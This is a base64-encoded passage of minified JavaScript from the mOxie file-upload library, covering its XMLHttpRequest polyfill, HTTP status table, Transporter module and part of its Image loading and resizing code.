9dHx8InVuZGVmaW5lZCI9PT10fHwibnVtYmVyIj09PXQmJmlzTmFOKGUpP24uYXBwZW5kKGksImZhbHNlIik6by5wdXNoKHtuYW1lOmksdmFsdWU6ZS50b1N0cmluZygpfSl9LGhhc0Jsb2I6ZnVuY3Rpb24oKXtyZXR1cm4hIXRoaXMuZ2V0QmxvYigpfSxnZXRCbG9iOmZ1bmN0aW9uKCl7cmV0dXJuIHImJnIudmFsdWV8fG51bGx9LGdldEJsb2JOYW1lOmZ1bmN0aW9uKCl7cmV0dXJuIHImJnIubmFtZXx8bnVsbH0sZWFjaDpmdW5jdGlvbih0KXtzLmVhY2gobyxmdW5jdGlvbihlKXt0KGUudmFsdWUsZS5uYW1lKX0pLHImJnQoci52YWx1ZSxyLm5hbWUpfSxkZXN0cm95OmZ1bmN0aW9uKCl7cj1udWxsLG89W119fSl9fSksZSgibW94aWUveGhyL1hNTEh0dHBSZXF1ZXN0IixbIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLCJtb3hpZS9jb3JlL0V4Y2VwdGlvbnMiLCJtb3hpZS9jb3JlL0V2ZW50VGFyZ2V0IiwibW94aWUvY29yZS91dGlscy9FbmNvZGUiLCJtb3hpZS9jb3JlL3V0aWxzL1VybCIsIm1veGllL3J1bnRpbWUvUnVudGltZSIsIm1veGllL3J1bnRpbWUvUnVudGltZVRhcmdldCIsIm1veGllL2ZpbGUvQmxvYiIsIm1veGllL2ZpbGUvRmlsZVJlYWRlclN5bmMiLCJtb3hpZS94aHIvRm9ybURhdGEiLCJtb3hpZS9jb3JlL3V0aWxzL0VudiIsIm1veGllL2NvcmUvdXRpbHMvTWltZSJdLGZ1bmN0aW9uKGIsUixlLEksTyxBLFMsVCx0LEQsQyxOKXtmdW5jdGlvbiBMKCl7dGhpcy51aWQ9Yi5ndWlkKCJ1aWRfIil9ZnVuY3Rpb24gRigpe2Z1bmN0aW9uIHMoZSx0KXtyZXR1cm4gci5oYXNPd25Qcm9wZXJ0eShlKT8xPT09YXJndW1lbnRzLmxlbmd0aD9DLmNhbigiZGVmaW5lX3Byb3BlcnR5Iik/cltlXTpuW2VdOnZvaWQoQy5jYW4oImRlZmluZV9wcm9wZXJ0eSIpP3JbZV09dDpuW2VdPXQpOnZvaWQgMH12YXIgYSx1LGMsbCxvLGksbj10aGlzLHI9e3RpbWVvdXQ6MCxyZWFkeVN0YXRlOkYuVU5TRU5ULHdpdGhDcmVkZW50aWFsczohMSxzdGF0dXM6MCxzdGF0dXNUZXh0OiIiLHJlc3BvbnNlVHlwZToiIixyZXNwb25zZVhNTDpudWxsLHJlc3BvbnNlVGV4dDpudWxsLHJlc3BvbnNlOm51bGx9LGQ9ITAsaD17fSxwPW51bGwsbT1udWxsLGY9ITEsZz0hMSx4PSExLHY9ITEseT0hMSxfPSExLEU9e30sdz0iIjtiLmV4dGVuZCh0aGlzLHIse3VpZDpiLmd1aWQoInVpZF8iKSx1cGxvYWQ6bmV3IEwsb3BlbjpmdW5jdGlvbihlLHQsaSxuLHIpe3ZhciBvO2lmKCFlfHwhdCl0aHJvdyBuZXcgUi5ET01FeGNlcHRpb24oUi5ET01FeGNlcHRpb24uU1lOVEFYX0VSUik7aWYoL1tcdTAxMDAtXHVmZmZmXS8udGVzdChlKXx8SS51dGY4X2VuY29kZShlKSE9PWUpdGhyb3cgbmV3IFIuRE9NRXhjZXB0aW9uKFIuRE9NRXhjZXB0aW9uLlNZTlRBWF9FUlIpO2lmKH5iLmluQXJyYXkoZS50b1VwcGVyQ2FzZSgpLFsiQ09OTkVDVCIsIkRFTEVURSIsIkdFVCIsIkhFQUQiLCJPUFRJT05TIiwiUE9TVCIsIlBVVCIsIlRSQUNFIiwiVFJBQ0siXSkmJih1PWUudG9VcHBlckNhc2UoKSksfmIuaW5BcnJheSh1LFsiQ09OTkVDVCIsIlRSQUNFIiwiVFJBQ0siXSkpdGhyb3cgbmV3IFIuRE9NRXhjZXB0aW9uKFIuRE9NRXhjZXB0aW9uLlNFQ1VSSVRZX0VSUik7aWYodD1JLnV0ZjhfZW5jb2RlKHQpLG89Ty5wYXJzZVVybCh0KSxfPU8uaGFzU2FtZU9yaWdpbihvKSxhPU8ucmVzb2x2ZVVybCh0KSwobnx8cikmJiFfKXRocm93IG5ldyBSLkRPTUV4Y2VwdGlvbihSLkRPTUV4Y2VwdGlvbi5JTlZBTElEX0FDQ0VTU19FUlIpO2lmKGM9bnx8by51c2VyLGw9cnx8by5wYXNzLCExPT09KGQ9aXx8ITApJiYocygidGltZW91dCIpfHxzKCJ3aXRoQ3JlZGVudGlhbHMiKXx8IiIhPT1zKCJyZXNwb25zZVR5cGUiKSkpdGhyb3cgbmV3IFIuRE9NRXhjZXB0aW9uKFIuRE9NRXhjZXB0aW9uLklOVkFMSURfQUNDRVNTX0VSUik7Zj0hZCxnPSExLGg9e30sZnVuY3Rpb24oKXtzKCJyZXNwb25zZVRleHQiLCIiKSxzKCJyZXNwb25zZVhNTCIsbnVsbCkscygicmVzcG9uc2UiLG51bGwpLHMoInN0YXR1cyIsMCkscygic3RhdHVzVGV4dCIsIiIpfS5jYWxsKHRoaXMpLHMoInJlYWR5U3RhdGUiLEYuT1BFTkVEKSx0aGlzLmRpc3BhdGNoRXZlbnQoInJlYWR5c3RhdGVjaGFuZ2UiKX0sc2V0UmVxdWVzdEhlYWRlcjpmdW5jdGlvbihlLHQpe2lmKHMoInJlYWR5U3RhdGUiKSE9PUYuT1BFTkVEfHxnKXRocm93IG5ldyBSLkRPTUV4Y2VwdGlvbihSLkRPTUV4Y2VwdGlvbi5JTlZBTElEX1NUQVRFX0VSUik7aWYoL1tcdTAxMDAtXHVmZmZmXS8udGVzdChlKXx8SS51dGY4X2VuY29kZShlKSE9PWUpdGhyb3cgbmV3IFIuRE9NRXhjZXB0aW9uKFIuRE9NRXhjZXB0aW9uLlNZTlRBWF9FUlIpO3JldHVybiBlPWIudHJpbShlKS50b0xvd2VyQ2FzZSgpLCF+Yi5pbkFycmF5KGUsWyJhY2NlcHQtY2hhcnNldCIsImFjY2VwdC1lbmNvZGluZyIsImFjY2Vzcy1jb250cm9sLXJlcXVlc3QtaGVhZGVycyIsImFjY2Vzcy1jb250cm9sLXJlcXVlc3QtbWV0aG9kIiwiY29ubmVjdGlvbiIsImNvbnRlbnQtbGVuZ3RoIiwiY29va2llIiwiY29va2llMiIsImNvbnRlbnQtdHJhbnNmZXItZW5jb2RpbmciLCJkYXRlIiwiZXhwZWN0IiwiaG9zdCIsImtlZXAtYWxpdmUiLCJvcmlnaW4iLCJyZWZlcmVyIiwidGUiLCJ0cmFpbGVyIiwidHJhbnNmZXItZW5jb2RpbmciLCJ1cGdyYWRlIiwidXNlci1hZ2VudCIsInZpYSJdKSYmIS9eKHByb3h5XC18c2VjXC0pLy50ZXN0KGUpJiYoaFtlXT9oW2VdKz0iLCAiK3Q6aFtlXT10LCEwKX0saGFzUmVxdWVzdEhlYWRlcjpmdW5jdGlvbihlKXtyZXR1cm4gZSYmaFtlLnRvTG93ZXJDYXNlKCldfHwhMX0sZ2V0QWxsUmVzcG9uc2VIZWFkZXJzOmZ1bmN0aW9uKCl7cmV0dXJuIHd8fCIifSxnZXRSZXNwb25zZUhlYWRlcjpmdW5jdGlvbihlKXtyZXR1cm4gZT1lLnRvTG93ZXJDYXNlKCkseXx8fmIuaW5BcnJheShlLFsic2V0LWNvb2tpZSIsInNldC1jb29raWUyIl0pP251bGw6dyYmIiIhPT13JiYoaXx8KGk9e30sYi5lYWNoKHcuc3BsaXQoL1xyXG4vKSxmdW5jdGlvbihlKXt2YXIgdD1lLnNwbGl0KC86XHMrLyk7Mj09PXQubGVuZ3RoJiYodFswXT1iLnRyaW0odFswXSksaVt0WzBdLnRvTG93ZXJDYXNlKCldPXtoZWFkZXI6dFswXSx2YWx1ZTpiLnRyaW0odFsxXSl9KX0pKSxpLmhhc093blByb3BlcnR5KGUpKT9pW2VdLmhlYWRlcisiOiAiK2lbZV0udmFsdWU6bnVsbH0sb3ZlcnJpZGVNaW1lVHlwZTpmdW5jdGlvbihlKXt2YXIgdDtpZih+Yi5pbkFycmF5KHMoInJlYWR5U3RhdGUiKSxbRi5MT0FESU5HLEYuRE9ORV0pKXRocm93IG5ldyBSLkRPTUV4Y2VwdGlvbihSLkRPTUV4Y2VwdGlvbi5JTlZBTElEX1NUQVRFX0VSUik7aWYoZT1iLnRyaW0oZS50b0xvd2VyQ2FzZSgpKSwvOy8udGVzdChlKSYmKHQ9ZS5tYXRjaCgvXihbXjtdKykoPzo7XHNjaGFyc2V0XD0pPyguKikkLykpJiYoZT10WzFdLHRbMl0mJnRbMl0pLCFOLm1pbWVzW2VdKXRocm93IG5ldyBSLkRPTUV4Y2VwdGlvbihSLkRPTUV4Y2VwdGlvbi5TWU5UQVhfRVJSKX0sc2VuZDpmdW5jdGlvbihlLHQpe2lmKEU9InN0cmluZyI9PT1iLnR5cGVPZih0KT97cnVpZDp0fTp0fHx7fSx0aGlzLnJlYWR5U3RhdGUhPT1GLk9QRU5FRHx8Zyl0aHJvdyBuZXcgUi5ET01FeGNlcHRpb24oUi5ET01FeGNlcHRpb24uSU5WQUxJRF9TVEFURV9FUlIpO2lmKGUgaW5zdGFuY2VvZiBUKUUucnVpZD1lLnJ1aWQsbT1lLnR5cGV8fCJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iO2Vsc2UgaWYoZSBpbnN0YW5jZW9mIEQpe2lmKGUuaGFzQmxvYigpKXt2YXIgaT1lLmdldEJsb2IoKTtFLnJ1aWQ9aS5ydWlkLG09aS50eXBlfHwiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIn19ZWxzZSJzdHJpbmciPT10eXBlb2YgZSYmKHA9IlVURi04IixtPSJ0ZXh0L3BsYWluO2NoYXJzZXQ9VVRGLTgiLGU9SS51dGY4X2VuY29kZShlKSk7dGhpcy53aXRoQ3JlZGVudGlhbHN8fCh0aGlzLndpdGhDcmVkZW50aWFscz1FLnJlcXVpcmVkX2NhcHMmJkUucmVxdWlyZWRfY2Fwcy5zZW5kX2Jyb3dzZXJfY29va2llcyYmIV8pLHg9IWYmJnRoaXMudXBsb2FkLmhhc0V2ZW50TGlzdGVuZXIoKSx5PSExLHY9IWUsZnx8KGc9ITApLGZ1bmN0aW9uKGUpe2Z1bmN0aW9uIGkoKXtvJiYoby5kZXN0cm95KCksbz1udWxsKSxyLmRpc3BhdGNoRXZlbnQoImxvYWRlbmQiKSxyPW51bGx9ZnVuY3Rpb24gbih0KXtvLmJpbmQoIkxvYWRTdGFydCIsZnVuY3Rpb24oZSl7cygicmVhZHlTdGF0ZSIsRi5MT0FESU5HKSxyLmRpc3BhdGNoRXZlbnQoInJlYWR5c3RhdGVjaGFuZ2UiKSxyLmRpc3BhdGNoRXZlbnQoZSkseCYmci51cGxvYWQuZGlzcGF0Y2hFdmVudChlKX0pLG8uYmluZCgiUHJvZ3Jlc3MiLGZ1bmN0aW9uKGUpe3MoInJlYWR5U3RhdGUiKSE9PUYuTE9BRElORyYmKHMoInJlYWR5U3RhdGUiLEYuTE9BRElORyksci5kaXNwYXRjaEV2ZW50KCJyZWFkeXN0YXRlY2hhbmdlIikpLHIuZGlzcGF0Y2hFdmVudChlKX0pLG8uYmluZCgiVXBsb2FkUHJvZ3Jlc3MiLGZ1bmN0aW9uKGUpe3gmJnIudXBsb2FkLmRpc3BhdGNoRXZlbnQoe3R5cGU6InByb2dyZXNzIixsZW5ndGhDb21wdXRhYmxlOiExLHRvdGFsOmUudG90YWwsbG9hZGVkOmUubG9hZGVkfSl9KSxvLmJpbmQoIkxvYWQiLGZ1bmN0aW9uKGUpe3MoInJlYWR5U3RhdGUiLEYuRE9ORSkscygic3RhdHVzIixOdW1iZXIodC5leGVjLmNhbGwobywiWE1MSHR0cFJlcXVlc3QiLCJnZXRTdGF0dXMiKXx8MCkpLHMoInN0YXR1c1RleHQiLE1bcygic3RhdHVzIildfHwiIikscygicmVzcG9uc2UiLHQuZXhlYy5jYWxsKG8sIlhNTEh0dHBSZXF1ZXN0IiwiZ2V0UmVzcG9uc2UiLHMoInJlc3BvbnNlVHlwZSIpKSksfmIuaW5BcnJheShzKCJyZXNwb25zZVR5cGUiKSxbInRleHQiLCIiXSk/cygicmVzcG9uc2VUZXh0IixzKCJyZXNwb25zZSIpKToiZG9jdW1lbnQiPT09cygicmVzcG9uc2VUeXBlIikmJnMoInJlc3BvbnNlWE1MIixzKCJyZXNwb25zZSIpKSx3PXQuZXhlYy5jYWxsKG8sIlhNTEh0dHBSZXF1ZXN0IiwiZ2V0QWxsUmVzcG9uc2VIZWFkZXJzIiksci5kaXNwYXRjaEV2ZW50KCJyZWFkeXN0YXRlY2hhbmdlIiksMDxzKCJzdGF0dXMiKT8oeCYmci51cGxvYWQuZGlzcGF0Y2hFdmVudChlKSxyLmRpc3BhdGNoRXZlbnQoZSkpOih5PSEwLHIuZGlzcGF0Y2hFdmVudCgiZXJyb3IiKSksaSgpfSksby5iaW5kKCJBYm9ydCIsZnVuY3Rpb24oZSl7ci5kaXNwYXRjaEV2ZW50KGUpLGkoKX0pLG8uYmluZCgiRXJyb3IiLGZ1bmN0aW9uKGUpe3k9ITAscygicmVhZHlTdGF0ZSIsRi5ET05FKSxyLmRpc3BhdGNoRXZlbnQoInJlYWR5c3RhdGVjaGFuZ2UiKSx2PSEwLHIuZGlzcGF0Y2hFdmVudChlKSxpKCl9KSx0LmV4ZWMuY2FsbChvLCJYTUxIdHRwUmVxdWVzdCIsInNlbmQiLHt1cmw6YSxtZXRob2Q6dSxhc3luYzpkLHVzZXI6YyxwYXNzd29yZDpsLGhlYWRlcnM6aCxtaW1lVHlwZTptLGVuY29kaW5nOnAscmVzcG9uc2VUeXBlOnIucmVzcG9uc2VUeXBlLHdpdGhDcmVkZW50aWFsczpyLndpdGhDcmVkZW50aWFscyxvcHRpb25zOkV9LGUpfXZhciByPXRoaXM7KG5ldyBEYXRlKS5nZXRUaW1lKCksbz1uZXcgUywic3RyaW5nIj09dHlwZW9mIEUucmVxdWlyZWRfY2FwcyYmKEUucmVxdWlyZWRfY2Fwcz1BLnBhcnNlQ2FwcyhFLnJlcXVpcmVkX2NhcHMpKSxFLnJlcXVpcmVkX2NhcHM9Yi5leHRlbmQoe30sRS5yZXF1aXJlZF9jYXBzLHtyZXR1cm5fcmVzcG9uc2VfdHlwZTpyLnJlc3BvbnNlVHlwZX0pLGUgaW5zdGFuY2VvZiBEJiYoRS5yZXF1aXJlZF9jYXBzLnNlbmRfbXVsdGlwYXJ0PSEwKSxiLmlzRW1wdHlPYmooaCl8fChFLnJlcXVpcmVkX2NhcHMuc2VuZF9jdXN0b21faGVhZGVycz0hMCksX3x8KEUucmVxdWlyZWRfY2Fwcy5kb19jb3JzPSEwKSxFLnJ1aWQ/bihvLmNvbm5lY3RSdW50aW1lKEUpKTooby5iaW5kKCJSdW50aW1lSW5pdCIsZnVuY3Rpb24oZSx0KXtuKHQpfSksby5iaW5kKCJSdW50aW1lRXJyb3IiLGZ1bmN0aW9uKGUsdCl7ci5kaXNwYXRjaEV2ZW50KCJSdW50aW1lRXJyb3IiLHQpfSksby5jb25uZWN0UnVudGltZShFKSl9LmNhbGwodGhpcyxlKX0sYWJvcnQ6ZnVuY3Rpb24oKXtpZihmPSEoeT0hMCksfmIuaW5BcnJheShzKCJyZWFkeVN0YXRlIiksW0YuVU5TRU5ULEYuT1BFTkVELEYuRE9ORV0pKXMoInJlYWR5U3RhdGUiLEYuVU5TRU5UKTtlbHNle2lmKHMoInJlYWR5U3RhdGUiLEYuRE9ORSksZz0hMSwhbyl0aHJvdyBuZXcgUi5ET01FeGNlcHRpb24oUi5ET01FeGNlcHRpb24uSU5WQUxJRF9TVEFURV9FUlIpO28uZ2V0UnVudGltZSgpLmV4ZWMuY2FsbChvLCJYTUxIdHRwUmVxdWVzdCIsImFib3J0Iix2KSx2PSEwfX0sZGVzdHJveTpmdW5jdGlvbigpe28mJigiZnVuY3Rpb24iPT09Yi50eXBlT2Yoby5kZXN0cm95KSYmby5kZXN0cm95KCksbz1udWxsKSx0aGlzLnVuYmluZEFsbCgpLHRoaXMudXBsb2FkJiYodGhpcy51cGxvYWQudW5iaW5kQWxsKCksdGhpcy51cGxvYWQ9bnVsbCl9fSksdGhpcy5oYW5kbGVFdmVudFByb3BzKFAuY29uY2F0KFsicmVhZHlzdGF0ZWNoYW5nZSJdKSksdGhpcy51cGxvYWQuaGFuZGxlRXZlbnRQcm9wcyhQKX12YXIgTT17MTAwOiJDb250aW51ZSIsMTAxOiJTd2l0Y2hpbmcgUHJvdG9jb2xzIiwxMDI6IlByb2Nlc3NpbmciLDIwMDoiT0siLDIwMToiQ3JlYXRlZCIsMjAyOiJBY2NlcHRlZCIsMjAzOiJOb24tQXV0aG9yaXRhdGl2ZSBJbmZvcm1hdGlvbiIsMjA0OiJObyBDb250ZW50IiwyMDU6IlJlc2V0IENvbnRlbnQiLDIwNjoiUGFydGlhbCBDb250ZW50IiwyMDc6Ik11bHRpLVN0YXR1cyIsMjI2OiJJTSBVc2VkIiwzMDA6Ik11bHRpcGxlIENob2ljZXMiLDMwMToiTW92ZWQgUGVybWFuZW50bHkiLDMwMjoiRm91bmQiLDMwMzoiU2VlIE90aGVyIiwzMDQ6Ik5vdCBNb2RpZmllZCIsMzA1OiJVc2UgUHJveHkiLDMwNjoiUmVzZXJ2ZWQiLDMwNzoiVGVtcG9yYXJ5IFJlZGlyZWN0Iiw0MDA6IkJhZCBSZXF1ZXN0Iiw0MDE6IlVuYXV0aG9yaXplZCIsNDAyOiJQYXltZW50IFJlcXVpcmVkIiw0MDM6IkZvcmJpZGRlbiIsNDA0OiJOb3QgRm91bmQiLDQwNToiTWV0aG9kIE5vdCBBbGxvd2VkIiw0MDY6Ik5vdCBBY2NlcHRhYmxlIiw0MDc6IlByb3h5IEF1dGhlbnRpY2F0aW9uIFJlcXVpcmVkIiw0MDg6IlJlcXVlc3QgVGltZW91dCIsNDA5OiJDb25mbGljdCIsNDEwOiJHb25lIiw0MTE6Ikxlbmd0aCBSZXF1aXJlZCIsNDEyOiJQcmVjb25kaXRpb24gRmFpbGVkIiw0MTM6IlJlcXVlc3QgRW50aXR5IFRvbyBMYXJnZSIsNDE0OiJSZXF1ZXN0LVVSSSBUb28gTG9uZyIsNDE1OiJVbnN1cHBvcnRlZCBNZWRpYSBUeXBlIiw0MTY6IlJlcXVlc3RlZCBSYW5nZSBOb3QgU2F0aXNmaWFibGUiLDQxNzoiRXhwZWN0YXRpb24gRmFpbGVkIiw0MjI6IlVucHJvY2Vzc2FibGUgRW50aXR5Iiw0MjM6IkxvY2tlZCIsNDI0OiJGYWlsZWQgRGVwZW5kZW5jeSIsNDI2OiJVcGdyYWRlIFJlcXVpcmVkIiw1MDA6IkludGVybmFsIFNlcnZlciBFcnJvciIsNTAxOiJOb3QgSW1wbGVtZW50ZWQiLDUwMjoiQmFkIEdhdGV3YXkiLDUwMzoiU2VydmljZSBVbmF2YWlsYWJsZSIsNTA0OiJHYXRld2F5IFRpbWVvdXQiLDUwNToiSFRUUCBWZXJzaW9uIE5vdCBTdXBwb3J0ZWQiLDUwNjoiVmFyaWFudCBBbHNvIE5lZ290aWF0ZXMiLDUwNzoiSW5zdWZmaWNpZW50IFN0b3JhZ2UiLDUxMDoiTm90IEV4dGVuZGVkIn07TC5wcm90b3R5cGU9ZS5pbnN0YW5jZTt2YXIgUD1bImxvYWRzdGFydCIsInByb2dyZXNzIiwiYWJvcnQiLCJlcnJvciIsImxvYWQiLCJ0aW1lb3V0IiwibG9hZGVuZCJdO3JldHVybiBGLlVOU0VOVD0wLEYuT1BFTkVEPTEsRi5IRUFERVJTX1JFQ0VJVkVEPTIsRi5MT0FESU5HPTMsRi5ET05FPTQsRi5wcm90b3R5cGU9ZS5pbnN0YW5jZSxGfSksZSgibW94aWUvcnVudGltZS9UcmFuc3BvcnRlciIsWyJtb3hpZS9jb3JlL3V0aWxzL0Jhc2ljIiwibW94aWUvY29yZS91dGlscy9FbmNvZGUiLCJtb3hpZS9ydW50aW1lL1J1bnRpbWVDbGllbnQiLCJtb3hpZS9jb3JlL0V2ZW50VGFyZ2V0Il0sZnVuY3Rpb24oaCxpLGUsdCl7ZnVuY3Rpb24gcCgpe2Z1bmN0aW9uIG8oKXtjPWw9MCx1PXRoaXMucmVzdWx0PW51bGx9ZnVuY3Rpb24gcyhlLHQpe3ZhciBpPXRoaXM7cj10LGkuYmluZCgiVHJhbnNwb3J0aW5nUHJvZ3Jlc3MiLGZ1bmN0aW9uKGUpeyhsPWUubG9hZGVkKTxjJiYtMT09PWguaW5BcnJheShpLnN0YXRlLFtwLklETEUscC5ET05FXSkmJm4uY2FsbChpKX0sOTk5KSxpLmJpbmQoIlRyYW5zcG9ydGluZ0NvbXBsZXRlIixmdW5jdGlvbigpe2w9YyxpLnN0YXRlPXAuRE9ORSx1PW51bGwsaS5yZXN1bHQ9ci5leGVjLmNhbGwoaSwiVHJhbnNwb3J0ZXIiLCJnZXRBc0Jsb2IiLGV8fCIiKX0sOTk5KSxpLnN0YXRlPXAuQlVTWSxpLnRyaWdnZXIoIlRyYW5zcG9ydGluZ1N0YXJ0ZWQiKSxuLmNhbGwoaSl9ZnVuY3Rpb24gbigpe3ZhciBlLHQ9Yy1sO3Q8ZCYmKGQ9dCksZT1pLmJ0b2EodS5zdWJzdHIobCxkKSksci5leGVjLmNhbGwodGhpcywiVHJhbnNwb3J0ZXIiLCJyZWNlaXZlIixlLGMpfXZhciBhLHIsdSxjLGwsZDtlLmNhbGwodGhpcyksaC5leHRlbmQodGhpcyx7dWlkOmguZ3VpZCgidWlkXyIpLHN0YXRlOnAuSURMRSxyZXN1bHQ6bnVsbCx0cmFuc3BvcnQ6ZnVuY3Rpb24oZSxpLHQpe3ZhciBuPXRoaXM7aWYodD1oLmV4dGVuZCh7Y2h1bmtfc2l6ZToyMDQ3OTh9LHQpLChhPXQuY2h1bmtfc2l6ZSUzKSYmKHQuY2h1bmtfc2l6ZSs9My1hKSxkPXQuY2h1bmtfc2l6ZSxvLmNhbGwodGhpcyksYz0odT1lKS5sZW5ndGgsInN0cmluZyI9PT1oLnR5cGVPZih0KXx8dC5ydWlkKXMuY2FsbChuLGksdGhpcy5jb25uZWN0UnVudGltZSh0KSk7ZWxzZXt2YXIgcj1mdW5jdGlvbihlLHQpe24udW5iaW5kKCJSdW50aW1lSW5pdCIscikscy5jYWxsKG4saSx0KX07dGhpcy5iaW5kKCJSdW50aW1lSW5pdCIsciksdGhpcy5jb25uZWN0UnVudGltZSh0KX19LGFib3J0OmZ1bmN0aW9uKCl7dGhpcy5zdGF0ZT1wLklETEUsciYmKHIuZXhlYy5jYWxsKHRoaXMsIlRyYW5zcG9ydGVyIiwiY2xlYXIiKSx0aGlzLnRyaWdnZXIoIlRyYW5zcG9ydGluZ0Fib3J0ZWQiKSksby5jYWxsKHRoaXMpfSxkZXN0cm95OmZ1bmN0aW9uKCl7dGhpcy51bmJpbmRBbGwoKSxyPW51bGwsdGhpcy5kaXNjb25uZWN0UnVudGltZSgpLG8uY2FsbCh0aGlzKX19KX1yZXR1cm4gcC5JRExFPTAscC5CVVNZPTEscC5ET05FPTIscC5wcm90b3R5cGU9dC5pbnN0YW5jZSxwfSksZSgibW94aWUvaW1hZ2UvSW1hZ2UiLFsibW94aWUvY29yZS91dGlscy9CYXNpYyIsIm1veGllL2NvcmUvdXRpbHMvRG9tIiwibW94aWUvY29yZS9FeGNlcHRpb25zIiwibW94aWUvZmlsZS9GaWxlUmVhZGVyU3luYyIsIm1veGllL3hoci9YTUxIdHRwUmVxdWVzdCIsIm1veGllL3J1bnRpbWUvUnVudGltZSIsIm1veGllL3J1bnRpbWUvUnVudGltZUNsaWVudCIsIm1veGllL3J1bnRpbWUvVHJhbnNwb3J0ZXIiLCJtb3hpZS9jb3JlL3V0aWxzL0VudiIsIm1veGllL2NvcmUvRXZlbnRUYXJnZXQiLCJtb3hpZS9maWxlL0Jsb2IiLCJtb3hpZS9maWxlL0ZpbGUiLCJtb3hpZS9jb3JlL3V0aWxzL0VuY29kZSJdLGZ1bmN0aW9uKGMsbixsLGUsbyxzLHQsZCxoLGksYSx1LHApe2Z1bmN0aW9uIG0oKXtmdW5jdGlvbiByKHQsZSl7ZnVuY3Rpb24gaShlKXtuLnJ1aWQ9ZS51aWQsZS5leGVjLmNhbGwobiwiSW1hZ2UiLCJsb2FkRnJvbUJsb2IiLHQpfXZhciBuPXRoaXM7bi5uYW1lPXQubmFtZXx8IiIsdC5pc0RldGFjaGVkKCk/KHRoaXMuYmluZCgiUnVudGltZUluaXQiLGZ1bmN0aW9uKGUsdCl7aSh0KX0pLGUmJiJzdHJpbmciPT10eXBlb2YgZS5yZXF1aXJlZF9jYXBzJiYoZS5yZXF1aXJlZF9jYXBzPXMucGFyc2VDYXBzKGUucmVxdWlyZWRfY2FwcykpLHRoaXMuY29ubmVjdFJ1bnRpbWUoYy5leHRlbmQoe3JlcXVpcmVkX2NhcHM6e2FjY2Vzc19pbWFnZV9iaW5hcnk6ITAscmVzaXplX2ltYWdlOiEwfX0sZSkpKTppKHRoaXMuY29ubmVjdFJ1bnRpbWUodC5ydWlkKSl9dC5jYWxsKHRoaXMpLGMuZXh0ZW5kKHRoaXMse3VpZDpjLmd1aWQoInVpZF8iKSxydWlkOm51bGwsbmFtZToiIixzaXplOjAsd2lkdGg6MCxoZWlnaHQ6MCx0eXBlOiIiLG1ldGE6e30sY2xvbmU6ZnVuY3Rpb24oKXt0aGlzLmxvYWQuYXBwbHkodGhpcyxhcmd1bWVudHMpfSxsb2FkOmZ1bmN0aW9uKCl7KGZ1bmN0aW9uIGUodCl7dmFyIGk9Yy50eXBlT2YodCk7dHJ5e2lmKHQgaW5zdGFuY2VvZiBtKXtpZighdC5zaXplKXRocm93IG5ldyBsLkRPTUV4Y2VwdGlvbihsLkRPTUV4Y2VwdGlvbi5JTlZBTElEX1NUQVRFX0VSUik7KGZ1bmN0aW9uKGUsdCl7dmFyIGk9dGhpcy5jb25uZWN0UnVudGltZShlLnJ1aWQpO3RoaXMucnVpZD1pLnVpZCxpLmV4ZWMuY2FsbCh0aGlzLCJJbWFnZSIsImxvYWRGcm9tSW1hZ2UiLGUsInVuZGVmaW5lZCI9PT1jLnR5cGVPZih0KXx8dCl9KS5hcHBseSh0aGlzLGFyZ3VtZW50cyl9ZWxzZSBpZih0IGluc3RhbmNlb2YgYSl7aWYoIX5jLmluQXJyYXkodC50eXBlLFsiaW1hZ2UvanBlZyIsImltYWdlL3BuZyJdKSl0aHJvdyBuZXcgbC5JbWFnZUVycm9yKGwuSW1hZ2VFcnJvci5XUk9OR19GT1JNQVQpO3IuYXBwbHkodGhpcyxhcmd1bWVudHMpfWVsc2UgaWYoLTEhPT1jLmluQXJyYXkoaSxbImJsb2IiLCJmaWxlIl0pKWUuY2FsbCh0aGlzLG5ldyB1KG51bGwsdCksYXJndW1lbnRzWzFdKTtlbHNlIGlmKCJzdHJpbmciPT09aSkiZGF0YToiPT09dC5zdWJzdHIoMCw1KT9lLmNhbGwodGhpcyxuZXcgYShudWxsLHtkYXRhOnR9KSxhcmd1bWVudHNbMV0pOmZ1bmN0aW9uKGUsdCl7dmFyIGksbj10aGlzOyhpPW5ldyBvKS5vcGVuKCJnZXQiLGUpLGkucmVzcG9uc2VUeXBlPSJibG9iIixpLm9ucHJvZ3Jlc3M9ZnVuY3Rpb24oZSl7bi50cmlnZ2VyKGUpfSxpLm9ubG9hZD1mdW5jdGlvbigpe3IuY2FsbChuLGkucmVzcG9uc2UsITApfSxpLm9uZXJyb3I9ZnVuY3Rpb24oZSl7bi50cmlnZ2VyKGUpfSxpLm9ubG9hZGVuZD1mdW5jdGlvbigpe2kuZGVzdHJveSgpfSxpLmJpbmQoIlJ1bnRpbWVFcnJvciIsZnVuY3Rpb24oZSx0KXtuLnRyaWdnZXIoIlJ1bnRpbWVFcnJvciIsdCl9KSxpLnNlbmQobnVsbCx0KX0uYXBwbHkodGhpcyxhcmd1bWVudHMpO2Vsc2V7aWYoIm5vZGUiIT09aXx8ImltZyIhPT10Lm5vZGVOYW1lLnRvTG93ZXJDYXNlKCkpdGhyb3cgbmV3IGwuRE9NRXhjZXB0aW9uKGwuRE9NRXhjZXB0aW9uLlRZUEVfTUlTTUFUQ0hfRVJSKTtlLmNhbGwodGhpcyx0LnNyYyxhcmd1bWVudHNbMV0pfX1jYXRjaCh0KXt0aGlzLnRyaWdnZXIoImVycm9yIix0LmNvZGUpfX0pLmFwcGx5KHRoaXMsYXJndW1lbnRzKX0scmVzaXplOmZ1bmN0aW9uKGUpe3ZhciB0LGksbj10aGlzLHI9e3g6MCx5OjAsd2lkdGg6bi53aWR0aCxoZWlnaHQ6bi5oZWlnaHR9LG89Yy5leHRlbmRJZih7d2lkdGg6bi53aWR0aCxoZWlnaHQ6bi5oZWlnaHQsdHlwZTpuLnR5cGV8fCJpbWFnZS9qcGVnIixxdWFsaXR5OjkwLGNyb3A6ITEsZml0OiEwLHByZXNlcnZlSGVhZGVyczohMCxyZXNhbXBsZToiZGVmYXVsdCIsbXVsdGlwYXNzOiEwfSxlKTt0cnl7aWYoIW4uc2l6ZSl0aHJvdyBuZXcgbC5ET01FeGNlcHRpb24obC5ET01FeGNlcHRpb24uSU5WQUxJRF9TVEFURV9FUlIpO2lmKG4ud2lkdGg+bS5NQVhfUkVTSVpFX1dJRFRIfHxuLmhlaWdodD5tLk1BWF9SRVNJWkVfSEVJR0hUKXRocm93IG5ldyBsLkltYWdlRXJyb3IobC5JbWFnZUVycm9yLk1BWF9SRVNPTFVUSU9OX0V